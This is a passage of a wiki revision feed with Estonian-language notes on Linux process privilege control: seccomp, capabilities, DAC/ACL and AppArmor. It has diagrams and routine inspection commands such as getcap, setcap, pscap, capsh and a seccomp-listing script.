                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===syscall===&lt;br /&gt;
&lt;br /&gt;
Süsteemi poolt toetatud syscallide nimekirja esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@mall-ubuntu-2604-20260426:~# apt-get install auditd&lt;br /&gt;
root@mall-ubuntu-2604-20260426:~# ausyscall --dump | head -n 10&lt;br /&gt;
Using x86_64 syscall table:&lt;br /&gt;
0	read&lt;br /&gt;
1	write&lt;br /&gt;
2	open&lt;br /&gt;
3	close&lt;br /&gt;
4	stat&lt;br /&gt;
5	fstat&lt;br /&gt;
6	lstat&lt;br /&gt;
7	poll&lt;br /&gt;
8	lseek&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
alternatiiv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@mall-ubuntu-2604-20260426:~# perf list syscalls&lt;br /&gt;
root@mall-ubuntu-2604-20260426:~# perf list syscalls | head -n 10&lt;br /&gt;
  raw_syscalls:sys_enter                             [Tracepoint event]&lt;br /&gt;
  raw_syscalls:sys_exit                              [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_accept                          [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_accept4                         [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_access                          [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_acct                            [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_add_key                         [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_adjtimex                        [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_alarm                           [Tracepoint event]&lt;br /&gt;
  syscalls:sys_enter_arch_prctl                      [Tracepoint event]&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3448</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3448"/>
		<updated>2026-05-04T15:29:24Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Capabilities - 2026 kevad märkmed */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* protsess on arvutis esinev kõige olulisem nähtus - kõik muu on nö teda teenindav personal (riistvara (mälu, protsessor, storage, võrk), kernel, kasutajad-grupid, namespace-capabilities-seccomp-syscalls-jms raamistik)&lt;br /&gt;
* arvuti (prosessi) ülesandaks on üldiselt teisendada sisend väljundiks (kasutades seejuures riistara, tarkvara st teisi abistavaid protsesse jms)&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===syscall===&lt;br /&gt;
&lt;br /&gt;
Süsteemi poolt toetatud syscallide nimekirja esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@mall-ubuntu-2604-20260426:~# apt-get install auditd&lt;br /&gt;
root@mall-ubuntu-2604-20260426:~# ausyscall --dump | head -n 10&lt;br /&gt;
Using x86_64 syscall table:&lt;br /&gt;
0	read&lt;br /&gt;
1	write&lt;br /&gt;
2	open&lt;br /&gt;
3	close&lt;br /&gt;
4	stat&lt;br /&gt;
5	fstat&lt;br /&gt;
6	lstat&lt;br /&gt;
7	poll&lt;br /&gt;
8	lseek&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
